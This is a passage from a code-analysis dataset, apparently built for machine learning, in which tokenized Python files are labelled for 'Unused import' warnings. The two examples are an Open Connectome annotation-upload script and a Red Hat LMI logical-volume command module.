"game_", "._", "find_", "(_", "'", "game", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "id_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "league_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "league", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "status_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "status", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "start", "\\u", "time_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "start", "\\u", "time", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "teams_", "=_", "game_", "._", "findall_", "(_", "'", "team", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "home", "\\u", "team", "\\u", "data_", "=_", "teams_", "[_", "0_", "]_", "._", "find_", "(_", "'", "game", "team", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "home", "\\u", "team_", "=_", "{_", "'", "name", "'_", ":_", "teams_", "[_", "0_", "]_", "._", "attrib_", "[_", "'", "name", "'_", "]_", ",_", "'", "runs", "'_", ":_", "int_", "(_", "home", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "R", "'_", "]_", ")_", ",_", "'", "hits", "'_", ":_", "int_", "(_", "home", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "H", "'_", "]_", ")_", ",_", "'", "error", "s", "'_", ":_", "int_", "(_", "home", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "E", "'_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "team", "\\u", "data_", "=_", "teams_", "[_", "1_", "]_", "._", "find_", "(_", "'", "game", "team", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "team_", "=_", "{_", "'", "name", "'_", ":_", "teams_", "[_", "1_", "]_", "._", "attrib_", "[_", "'", "name", "'_", "]_", ",_", "'", "runs", "'_", ":_", "int_", "(_", "awa", "y", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "R", "'_", "]_", ")_", ",_", "'", "hits", "'_", ":_", "int_", "(_", "awa", "y", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "H", "'_", "]_", ")_", ",_", "'", "error", "s", "'_", ":_", "int_", "(_", "awa", "y", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "E", "'_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "{_", "'", "game", "\\u", "id", "'_", ":_", "game", "\\u", "id_", ",_", "'", "game", "\\u", "type", "'_", ":_", "game", "\\u", "type_", ",_", "'", "game", "\\u", "league", "'_", ":_", "game", "\\u", "league_", ",_", "'", "game", "\\u", "status", "'_", ":_", "game", "\\u", "status_", ",_", "'", "game", "\\u", "start", "\\u", "time", "'_", ":_", "game", "\\u", "start", "\\u", "time_", ",_", "'", "home", "\\u", "team", "'_", ":_", "home", "\\u", "team_", ",_", "'", "awa", "y", "\\u", "team", "'_", ":_", "awa", "y", "\\u", "team_", ",_", "'", "w", "\\u", "pitche", "r", "'_", ":_", "{_", "}_", ",_", "'", "l\\u", "pitche", "r", "'_", ":_", "{_", "}_", ",_", "'", "sv", "\\u", "pitche", "r", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "put", " ", "this", " ", "dictionar", "y", " ", "int", "o", " ", "the", " ", "large", "r", " ", "dictionary_", "\\u\\u\\uNL\\u\\u\\u_", "games_", "[_", "game", "\\u", "id_", "]_", "=_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "games_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
neurodata/ndstore/examples/deprecated/denseaddcube.py
[ { "content": "# Copyright 2014 Open Connectome Project (http://openconnecto.me)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport empaths\nimport numpy as np\nimport urllib, urllib2\nimport cStringIO\nimport zlib\nimport sys\n\nimport tempfile\nimport h5py\n\n\nif __name__ == \"__main__\":\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def main():\n\n parser = argparse.ArgumentParser(description='Annotate a cubic a portion of the database.')\n parser.add_argument('baseurl', action=\"store\" )\n parser.add_argument('token', action=\"store\" )\n parser.add_argument('resolution', action=\"store\", type=int )\n parser.add_argument('xlow', action=\"store\", type=int )\n parser.add_argument('xhigh', action=\"store\", type=int)\n parser.add_argument('ylow', action=\"store\", type=int)\n parser.add_argument('yhigh', action=\"store\", type=int)\n parser.add_argument('zlow', action=\"store\", type=int)\n parser.add_argument('zhigh', action=\"store\", type=int)\n parser.add_argument('--annid', action=\"store\", type=int, help='Specify an identifier. Server chooses otherwise.', default=0)\n parser.add_argument('--update', action='store_true')\n parser.add_argument('--reduce', action='store_true')\n parser.add_argument('--dataonly', action='store_true')\n parser.add_argument('--preserve', action='store_true', help='Preserve exisiting annotations in the database. Default is overwrite.')\n parser.add_argument('--exception', action='store_true', help='Store multiple nnotations at the same voxel in the database. Default is overwrite.')\n\n result = parser.parse_args()\n\n anndata = np.ones ( [ result.zhigh-result.zlow, result.yhigh-result.ylow, result.xhigh-result.xlow ] )\n\n # Build a minimal hdf5 file\n # Create an in-memory HDF5 file\n tmpfile = tempfile.NamedTemporaryFile()\n h5fh = h5py.File ( tmpfile.name )\n\n # top group is the annotation identifier\n idgrp = h5fh.create_group ( str(result.annid) )\n\n idgrp.create_dataset ( \"RESOLUTION\", (1,), np.uint32, data=result.resolution )\n idgrp.create_dataset ( \"XYZOFFSET\", (3,), np.uint32, data=[result.xlow,result.ylow,result.zlow] )\n idgrp.create_dataset ( \"CUTOUT\", anndata.shape, np.uint32, data=anndata )\n\n if result.preserve: \n url = 'http://%s/emca/%s/preserve/' % ( result.baseurl, result.token )\n elif result.exception: \n url = 'http://%s/emca/%s/exception/' % ( result.baseurl, result.token )\n elif result.reduce: \n url = 'http://%s/emca/%s/reduce/' % ( result.baseurl, result.token )\n else:\n url = 'http://%s/emca/%s/' % ( result.baseurl, result.token )\n\n if result.update:\n url+='update/'\n\n if result.dataonly:\n url+='dataonly/'\n \n print url\n\n try:\n h5fh.flush()\n tmpfile.seek(0)\n req = urllib2.Request ( url, tmpfile.read())\n response = urllib2.urlopen(req)\n except urllib2.URLError, e:\n print \"Failed URL\", url\n print \"Error %s\" % (e) \n sys.exit(0)\n\n the_page = response.read()\n print \"Success with id %s\" % the_page", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 25 } ]
[ { "span": "import empaths", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 14 }, { "span": "import urllib, urllib2", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 22 }, { "span": "import cStringIO", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 16 }, { "span": "import zlib", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2014", " ", "Open", " ", "Connect", "ome", " ", "Project", " ", "(", "http", "://", "openco", "nnect", "o", ".", "me", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "emp", "ath", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", ",_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "c", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "h5py_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "description_", "=_", "'", "Annotate", " ", "a", " ", "cubi", "c", " ", "a", " ", "porti", "on", " ", "of", " ", "the", " ", "databa", "se", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "baseu", "rl", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "token", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "resolu", "tion", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "xlo", "w", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "xh", "igh", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "ylo", "w", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "yh", "igh", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "zl", "ow", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "zhi", "gh", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "ann", "id", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "type_", "=_", "int_", ",_", "help_", "=_", "'", "Speci", "fy", " ", "an", " ", "identifi", "er", ".", " ", " ", "Server", " ", "choose", "s", " ", "other", "wis", "e", ".'_", ",_", "default_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "update", "'_", ",_", "action_", "=_", "'", "store", "\\u", "true", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "reduce", "'_", ",_", "action_", "=_", "'", "store", "\\u", "true", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "datao", "nl", "y", "'_", ",_", "action_", "=_", "'", "store", "\\u", "true", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "preserve", "'_", ",_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "help_", "=_", "'", "Pres", "erve", " ", "exi", "siti", "ng", " ", "annot", "ation", "s", " ", "in", " ", "the", " ", "databa", "se", ".", " ", " ", "Default", " ", "is", " ", "overwrit", "e", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "exception", "'_", ",_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "help_", "=_", "'", "Stor", "e", " ", "multiple", " ", "nno", "tation", "s", " ", "at", " ", "the", " ", "same", " ", "voxel", " ", "in", " ", "the", " ", "databa", "se", ".", " ", " ", "Default", " ", "is", " ", "overwrit", "e", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ann", "data_", "=_", "np_", "._", "ones_", "(_", "[_", "result_", "._", "zhi", "gh_", "-_", "result_", "._", "zl", "ow_", ",_", "result_", "._", "yh", "igh", "_", "-_", "result_", "._", "ylo", "w_", ",_", "result_", "._", "xh", "igh", "_", "-_", "result_", "._", "xlo", "w_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Build", " ", "a", " ", "minima", "l", " ", "hdf5", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "an", " ", "in", "-", "memory", " ", "HDF", "5", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "tmpfile_", "=_", "tempfile_", "._", "Name", "d", "Tempora", "ry", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h5", "fh_", "=_", "h5py_", "._", "File_", "(_", "tmpfile_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", " ", "group", " ", "is", " ", "the", " ", "annot", "ation", " ", "identifier_", "\\u\\u\\uNL\\u\\u\\u_", "id", "grp_", "=_", "h5", "fh_", "._", "create", "\\u", "group_", "(_", "str_", "(_", "result_", "._", "ann", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "id", "grp_", "._", "create", "\\u", "dataset_", "(_", "\"", "RESOL", "UTION", "\"_", ",_", "(_", "1_", ",_", ")_", ",_", "np_", "._", "uint32_", ",_", "data_", "=_", "result_", "._", "resolution_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "id", "grp_", "._", "create", "\\u", "dataset_", "(_", "\"", "XY", "ZO", "FF", "SET", "\"_", ",_", "(_", "3_", ",_", ")_", ",_", "np_", "._", "uint32_", ",_", "data_", "=_", "[_", "result_", "._", "xlo", "w_", ",_", "result_", "._", "ylo", "w_", ",_", "result_", "._", "zl", "ow_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "id", "grp_", "._", "create", "\\u", "dataset_", "(_", "\"", "CUT", "OUT", "\"_", ",_", "ann", "data_", "._", "shape_", ",_", "np_", "._", "uint32_", ",_", "data_", "=_", "ann", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "result_", "._", "preserve", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'", "http", "://", "%", "s", "/", "emc", "a", "/", "%", "s", "/", "preserve", "/'_", "%_", "(_", "result_", "._", "baseurl_", ",_", "result_", "._", "token_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "result_", "._", "exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'", "http", "://", "%", "s", "/", "emc", "a", "/", "%", "s", "/", "exception", "/'_", "%_", "(_", "result_", "._", "baseurl_", ",_", "result_", "._", "token_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "result_", "._", "reduce_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'", "http", "://", "%", "s", "/", "emc", "a", "/", "%", "s", "/", "reduce", "/'_", "%_", "(_", "result_", "._", "baseurl_", ",_", "result_", "._", "token_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'", "http", "://", "%", "s", "/", "emc", "a", "/", "%", "s", "/'_", "%_", "(_", "result_", "._", "baseurl_", ",_", "result_", "._", "token_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "result_", "._", "update_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "+=_", "'", "update", "/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "result_", "._", "datao", "nl", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "+=_", "'", "datao", "nl", "y", "/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "h5", "fh_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmpfile_", "._", "seek_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "urllib2_", "._", "Request_", "(_", "url_", ",_", "tmpfile_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Fail", "ed", " ", "URL", "\"_", ",_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Error", " ", "%", "s", "\"_", "%_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_",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/lv.py
[ { "content": "# coding=utf-8\n# Storage Management Providers\n#\n# Copyright (C) 2014 Red Hat, Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# The views and conclusions contained in the software and documentation are\n# those of the authors and should not be interpreted as representing official\n# policies, either expressed or implied, of the FreeBSD Project.\n#\n# Authors: Jan Safranek <[email protected]>\n#\n\"\"\"\nLogical Volume management.\n\nUsage:\n %(cmd)s list [ <vg> ...]\n %(cmd)s create <vg> <name> <size>\n %(cmd)s delete <lv> ...\n %(cmd)s show [ <lv> ...]\n\nCommands:\n list List available logical volumes on given volume groups.\n If no volume groups are provided, all logical volumes are\n listed.\n\n create Create a logical volume on given volume group.\n\n delete Delete given logical volume.\n\n show Show detailed information about given Logical Volumes. If no\n Logical Volumes are provided, all of them are displayed.\n\nOptions:\n vg Name of the volume group, with or without `/dev/` prefix.\n\n size Size of the new logical volume, by default in bytes.\n 'T', 'G', 'M' or 'K' suffix can be used to specify other\n units (TiB, GiB, MiB and KiB) - '1K' specifies 1 KiB\n (= 1024 bytes).\n The suffix is case insensitive, i.e. 1g = 1G = 1073741824\n bytes.\n\n 'E' suffix can be used to specify number of volume group\n extents, '100e' means 100 extents.\n\"\"\"\n\nfrom lmi.shell.LMIUtil import lmi_isinstance\nfrom lmi.scripts.common import command\nfrom lmi.scripts.common import get_logger\nfrom lmi.scripts.common.formatter import command as fcmd\nfrom lmi.scripts.storage import show, fs, lvm, mount, raid, partition\nfrom lmi.scripts.storage.common import (size2str, get_devices, get_children,\n get_parents, str2device, str2size, str2vg)\n\nLOG = get_logger(__name__)\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class LVList(command.LmiLister):\n COLUMNS = (\"Name\", \"Size\")\n\n", "metadata": "root.LVList", "header": "['module', '___EOS___']", "index": 77 }, { "content": " def transform_options(self, options):\n \"\"\"\n Rename 'vg' option to 'vgs' parameter name for better\n readability.\n \"\"\"\n options['<vgs>'] = options.pop('<vg>')", "metadata": "root.LVList.transform_options", "header": "['class', 'LVList', '(', 'command', '.', 'LmiLister', ')', ':', '___EOS___']", "index": 80 }, { "content": " def execute(self, ns, vgs=None):\n \"\"\"\n Implementation of 'lv list' command.\n \"\"\"\n for lv in lvm.get_lvs(ns, vgs):\n size = size2str(lv.NumberOfBlocks * lv.BlockSize,\n self.app.config.human_friendly)\n yield (lv.Name, size)", "metadata": "root.LVList.execute", "header": "['class', 'LVList', '(', 'command', '.', 'LmiLister', ')', ':', '___EOS___']", "index": 87 }, { "content": "class LVCreate(command.LmiCheckResult):\n EXPECT = None\n", "metadata": "root.LVCreate", "header": "['module', '___EOS___']", "index": 97 }, { "content": " def execute(self, ns, vg, name, size):\n \"\"\"\n Implementation of 'lv create' command.\n \"\"\"\n vg = str2vg(ns, vg[0])\n lvm.create_lv(ns, vg, name, str2size(size, vg.ExtentSize, 'E'))", "metadata": "root.LVCreate.execute", "header": "['class', 'LVCreate', '(', 'command', '.', 'LmiCheckResult', ')', ':', '___EOS___']", "index": 100 }, { "content": "class LVDelete(command.LmiCheckResult):\n EXPECT = None\n\n", "metadata": "root.LVDelete", "header": "['module', '___EOS___']", "index": 108 }, { "content": " def transform_options(self, options):\n \"\"\"\n Rename 'lv' option to 'lvs' parameter name for better\n readability.\n \"\"\"\n options['<lvs>'] = options.pop('<lv>')", "metadata": "root.LVDelete.transform_options", "header": "['class', 'LVDelete', '(', 'command', '.', 'LmiCheckResult', ')', ':', '___EOS___']", "index": 111 }, { "content": " def execute(self, ns, lvs):\n \"\"\"\n Implementation of 'lv delete' command.\n \"\"\"\n for lv in lvs:\n lvm.delete_lv(ns, lv)", "metadata": "root.LVDelete.execute", "header": "['class', 'LVDelete', '(', 'command', '.', 'LmiCheckResult', ')', ':', '___EOS___']", "index": 118 }, { "content": "class LVShow(command.LmiLister):\n COLUMNS = ('Name', 'Value')\n\n", "metadata": "root.LVShow", "header": "['module', '___EOS___']", "index": 126 }, { "content": " def transform_options(self, options):\n \"\"\"\n Rename 'lv' option to 'lvs' parameter name for better\n readability.\n \"\"\"\n options['<lvs>'] = options.pop('<lv>')", "metadata": "root.LVShow.transform_options", "header": "['class', 'LVShow', '(', 'command', '.', 'LmiLister', ')', ':', '___EOS___']", "index": 129 }, { "content": " def execute(self, ns, lvs=None):\n \"\"\"\n Implementation of 'lv show' command.\n \"\"\"\n if not lvs:\n lvs = lvm.get_lvs(ns)\n for lv in lvs:\n lv = str2device(ns, lv)\n cmd = fcmd.NewTableCommand(title=lv.DeviceID)\n yield cmd\n for line in show.lv_show(ns, lv, self.app.config.human_friendly):\n yield line", "metadata": "root.LVShow.execute", "header": "['class', 'LVShow', '(', 'command', '.', 'LmiLister', ')', ':', '___EOS___']", "index": 136 }, { "content": "class LV(command.LmiCommandMultiplexer):\n OWN_USAGE = __doc__\n COMMANDS = {\n 'list' : LVList,\n 'create' : LVCreate,\n 'delete' : LVDelete,\n 'show' : LVShow,\n }", "metadata": "root.LV", "header": "['module', '___EOS___']", "index": 149 } ]
[ { "span": "from lmi.shell.LMIUtil import lmi_isinstance", "start_line": 67, "start_column": 0, "end_line": 67, "end_column": 44 }, { "span": "from lmi.scripts.storage import show, fs, lvm, mount, raid, partition", "start_line": 71, "start_column": 0, "end_line": 71, "end_column": 69 }, { "span": "from lmi.scripts.storage.common import (size2str, get_devices, get_children,\n get_parents, str2device, str2size, str2vg)", "start_line": 72, "start_column": 0, "end_line": 73, "end_column": 50 } ]
[]
1
false
